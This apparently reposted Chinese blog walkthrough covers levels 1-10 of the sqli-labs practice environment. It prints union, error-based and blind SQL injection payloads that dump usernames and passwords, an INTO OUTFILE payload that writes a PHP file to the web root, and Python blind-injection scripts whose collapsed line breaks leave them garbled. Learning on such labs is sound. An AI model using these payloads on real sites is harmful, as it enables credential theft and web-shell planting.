复现一下最近学习的漏洞(sqlab 1-10)

第一个问题:为什么不能用#来闭合单引号呢?

在进行URL地址栏传参的时候,是有一套编码规范的。他不会编码英文、数字和某些符号。但是#它会进行编码。也就是%23。(先转ascii码,然后再转十六进制,之后加上%就是%23)

第二个问题:为什么可以使用--+来进行闭合?

sqli-lab第一关

先判断是否存在sql注入。输入的id的值不同页面会发生变化。 

然后再判断sql语句是否拼接,是字符型还是数字型:很明显这里是数字型注入,用 ‘ 进行闭合

联合注入:

可以使用order by 来找出该表的列数:第四列报错了,而第三列没有报错,说明该表有三列。

爆出数据库名和版本号:

爆出表名:

?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

 爆出列名:现在我们就知道了security库下的users表中,有id,username,password这三个列名,我们直接进行查询即可

?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name ='users' --+

 最后我们就可以直接进行查询了:

?id=-1' union select 1,database(),group_concat(username,password) from users --+;

MySQL中有这样五个数据库:

information_schema, challenges, mysql, performance_schema, sys。这里我们先重点关注information_schema这张表。 

table_schema 所有的数据库名
table_name 所有库下的所有表名
column_name 所有表下的所有列名

#这里我先在本地的MySQL中的information_schema库中,进行一个查询。
select table_name from tables where table_schema = 'security';
select column_name from columns where column_schema='security' and table_name='users';
select username,password from security.users;

 最终也是可以查到security库中users表的数据的。

sqli-lab第二关

首先我们还是基本操作,先判断类型,这里我们闭合之后,发现还是报错,说明这是一个数字型。

所以这里我们就不用加 ’ 和 --+ 了,直接进行注入即可。

具体步骤和第一关相同,这里就不多说了。

sqli-lab第三关

输入?id=1'的时,查看页面报错信息。可推断出sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

后续步骤同前两关相同。

sqli-lab第四关

这关如果输入不符合sql语法是会在页面上返回报错信息的,根据这个就可以明确知道要闭合什么符号,比如这关闭合是"),但是这关输入id=1'是不会报错,字段本身是int类型

 

最后找到合适的闭合方式,后续步骤相同。

sqli-lab第五关

第五关和前面四关不同,该关卡的查询结果不会回显。

 但报错还是会回显,这里可以使用报错注入。这里我们updatexml(),报错注入出当前的数据库名

这里因为显示子查询返回超过1行,所以说这里的数据就只有1列

报表名:爆出所有的表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) 
from information_schema.tables where table_schema='security') ,0x7e),1) --+

爆列名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from 
information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

报字段名:

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from 
users),0x7e),1) --+

这里就发现,输出的长度被限制了。这里我们可以用 substr() 这个函数来对数据进行截取。以此每32位来截取数据。

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)
from users),1,32),0x7e),1) --+

sqli-lab第六关

这一关只有闭合方式改变了一下,其余内容不变。同样是报错注入,和上一关相同

 sqli-lab第七关

还是先判断一下闭合,为‘))

在高版本的mysql中默认为NULL,就是不让导入和导出

解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=

这里我们修改一下my.ini文件后,重启一下MySQL,就发现修改成功了。

开始注入

?id=1')) union select 1,2,"<?php phpinfo(); ?>" into outfile 
"E:\\PHPStudy\\phpstudy_pro\\WWW\\m.php"--+

这里显示有语法错误,不用管这个,直接访问webshell文件即可。这里我写的是phpinfo(),所以访问的就是php界面。

 sqli-lab第八关

第八关发现报错注入后,错误不显示了。所以报错注入和联合查询都不行了。加单引号后,报错

这里我写了一个python的脚本来跑数据库名(二分查找效率更快),最后也是成功跑出表名。后面就可以使用类似的方法来跑列名和字段名了。

import requestsurl = 'http://sqli/Less-8/'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(), %d, 1)) > %d -- " % (i, mid)res = {"id": payload}r = requests.get(url, params=res)if "You are in..........." in r.text:low = mid + 1else:high = midmid = (low + high)//2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

sqli-lab第九关

发现这关不管正确还是失败,都不会显示

 采用时间盲注,来寻找注入点

这里还是写python脚本来跑,和第八关类似,但需要稍作修改。因为此时的页面是不会变化的,所以就根据时间的特征来进行判断,修改一下pyload,然后增加一个时间模块即可。最后就能跑出数据库名。

import requests
import timeurl = 'http://sqli/Less-9/'def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1),0)-- " % (i, mid)res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high)//2if mid == 32:breakname = name + chr(mid)print(name)inject_database(url)

 sqli-lab第十关

第十关的闭合方式和第九关稍有不同,第十关用的 “ 来闭合,修改一下pyload即可,其余操作和第九关相同。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/392375.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

软甲测试定义和分类

软件测试定义 使用人工和自动手段来运行或测试某个系统的过程&#xff0c;其目的在于检验他是否满足规定的需求或弄清预期结果与实际结果之间的差别 软件测试目的 为了发现程序存在的代码或业务逻辑错误 – 第一优先级发现错误为了检验产品是否符合用户需求 – 跟用户要求实…

函数实例讲解(四)

文章目录 提取不重复值&#xff08;INDEX、MATCH、COUNTIF&#xff09;1、INDEX2、MATCH3、COUNTIF 提取不重复的值的经典套路&#xff08;LARGE、SMALL、ROW&#xff09;1、ROW2、LARGE3、SMALL&#xff09; 制作Excel动态查询表四舍五入函数(ROUND、ROUNDUP、ROUNDDOWN&#…

20240806 每日AI必读资讯

英伟达最强AI芯片曝重大设计缺陷&#xff0c;中国特供版意外曝光&#xff01; - 由于Blackwell GPU的设计缺陷&#xff0c;英伟达发货时间不得不推迟3个月 - GB200包含了2个Blackwell GPU和1个Grace CPU。问题出在连接2个Blackwell GPU的关键电路 - 意味着对于Meta、谷歌、微…

AI在医学领域:医学成像中针对深度神经网络(DNN)的对抗性攻击及其防御策略

关键词&#xff1a;对抗性攻击、医学图像、深度神经网络、模型安全、鲁棒性 机器学习&#xff08;ML&#xff09;是医学领域快速发展的一个分支&#xff0c;它利用计算机科学和统计学的方法来解决医学问题。众所周知&#xff0c;攻击者可能通过故意为机器学习分类器创建输入来…

VoNR网络架构与网元 IMS终端号码结构(VoLTE和VoNR适用)

目录 1. VoNR网络架构与网元 1.1 VoNR架构 vs VoLTE架构 1.2 回顾语音网络的演进与“分离” 1.3 TS23.228给出的5G的VoNR国际漫游 Home Routed 方案架构图 1.4 VoNR 网络架构图&#xff08;2022版&#xff09; 1.5 IMS 网元分类&#xff08;VoNR VoLTE 适用&#xff09…

LlamaIndex 实现 React Agent

React Agent 是指 LLM 对问题自行推理并调用外部工具解决问题&#xff0c;如下图所示&#xff0c;通过一些推理步骤最终找到想要的答案。 LlamaIndex 提供了实现 React Agent 的框架&#xff0c;通过框架可以轻松的实现上图中的步骤。那么&#xff0c;如果不用 LlamaIndex 应该…

【精选】6款一键生成论文的软件3000字论文网站

千笔-AIPassPaPer是一款功能强大且全面的AI论文写作工具&#xff0c;特别适合学术研究者和学生使用。它不仅能够一键生成高质量的论文初稿&#xff0c;还涵盖了700多个学科专业方向&#xff0c;满足各种学术需求。 一、千笔-AIPassPaPer 传送门&#xff1a;https://www.aipape…

汇昌联信数字做拼多多运营怎么入行?

拼多多作为中国领先的电商平台之一&#xff0c;近年来在数字运营领域展现出了强大的生命力和创新能力。汇昌联信数字作为一个潜在的新入行者&#xff0c;如何进入拼多多的运营领域&#xff0c;成为业界关注的焦点。本文旨在探讨汇昌联信数字如何通过有效的策略和方法&#xff0…

AttributeError: ‘ChatGLMTokenizer‘ object has no attribute ‘sp_tokenizer‘. 已解决

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 ☁️运维工程师的职责&#xff1a;监…

3GPP入门

官网地址 3GPP – The Mobile Broadband Standard 协议下载链接 Directory Listing /ftp/specs/archive 总纲 重点series Signalling protocols ("stage 3") - user equipment to network24 series信令Radio aspects25 series3G 基础LTE (Evolved UTRA), LTE-Adva…

锂电池生产工艺数字化的业务架构.pptx

搜索《方案驿站》公众号进行下载。

【AI落地应用实战】Amazon Bedrock + Amazon DynamoDB 数据设计与建模

一、Amazon DynamoDB简介 在当今数字化转型的浪潮中&#xff0c;企业对数据处理能力的需求日益增长&#xff0c;为了应对大规模数据和高并发访问的挑战&#xff0c;选择一款合适的数据库解决方案变得尤为重要。 Amazon DynamoDB&#xff0c;作为亚马逊云科技提供的一种完全托…

3.表的操作

目录 创建表 创建表案例&#xff1a; 查看表结构 修改表 1.增加新列 2.修改列的属性 3.删除列 4.修改表名 5.修改列 删除表 创建表 语法&#xff1a; CREATE TABLE [IF NOT EXISTS] table_name(field1 datatype1 [COMMENT 注释信息],field2 datatype2 [COMMENT 注释…

k8s(六)---pod

六、pod&#xff08;k8s中最小的调度单元&#xff09; pod中可以有一个或多个容器 1、官网 2、简介 Pod是k8s中最小的调度单元、Pod具有命名空间隔离性 3、如何创建一个Pod资源&#xff08;主要两种方式&#xff09; 1&#xff09;kubctl run ①kubectl run nginx–imagereg…

【vulnhub】DC-2靶机

信息收集 靶机扫描 nmap 192.168.93.1/24 端口扫描 网页访问 发现访问不到&#xff0c;根据显示考虑IP未遵循重定向到域名 在本机的C:\Windows\System32\drivers\etc 修改hosts⽂件&#xff0c;添加192.168.93.136 dc-2 再次进行访问&#xff0c;可以访问到 点击flag&#x…

测试GPT4o分析巴黎奥运会奖牌数据

使用GPT4o快速调用python代码&#xff0c;生成数据图表 测试GPT4o分析巴黎奥运会奖牌数据 测试GPT4o分析巴黎奥运会奖牌数据 1.首先我们让他给我们生成下当前奥运奖牌数 2.然后我们直接让GPT帮我们运行python代码&#xff0c;并生成奥运会奖牌图表 3.我们还可以让他帮我们…

数组——对数组进行更加全面的理解

1.数组的概念 数组是一组相同类型元素的集合。数组可分为一维数组和多维数组&#xff0c;多维数组常见的是二维数组。 2.一维数组的创建和初始化 2.1 数组的创建 一维数组的创建的基本语法是&#xff1a; type arr_name[常量值] 例如&#xff0c;我们现在想要存储某个班级…

一拖三无线充底座-带给你极致的便利生活

随着科技的不断进步&#xff0c;无线充电技术已经逐渐渗透到我们日常生活的方方面面&#xff0c;一拖三无线充底座作为其中的佼佼者&#xff0c;以其高效、便捷的特点受到广大用户的青睐。本文将从电磁感应原理、多线圈设计、频率匹配、电能传输、功率分配以及充电管理六个方面…

原生PHP/JS自主开发的交友内核框架婚恋交友系统V10

本文来自&#xff1a;婚恋交友系统V10 - 源码1688 应用介绍 原生PHP/JS自主开发的交友内核框架&#xff0c;极高性能、无捆绑、自主权、无流水扣点、独立全开源 01脱单盲盒&#xff1a;脱单盲盒类似于漂流瓶&#xff0c;先将自己《投放》到盲盒中&#xff0c;另一伴有缘将您取…

【链表OJ】常见面试题 2

文章目录 1.[链表分割](https://www.nowcoder.com/practice/0e27e0b064de4eacac178676ef9c9d70?tpId8&&tqId11004&rp2&ru/activity/oj&qru/ta/cracking-the-coding-interview/question-ranking)1.1 题目要求1.2 哨兵位法 2.[链表的回文结构](https://www.…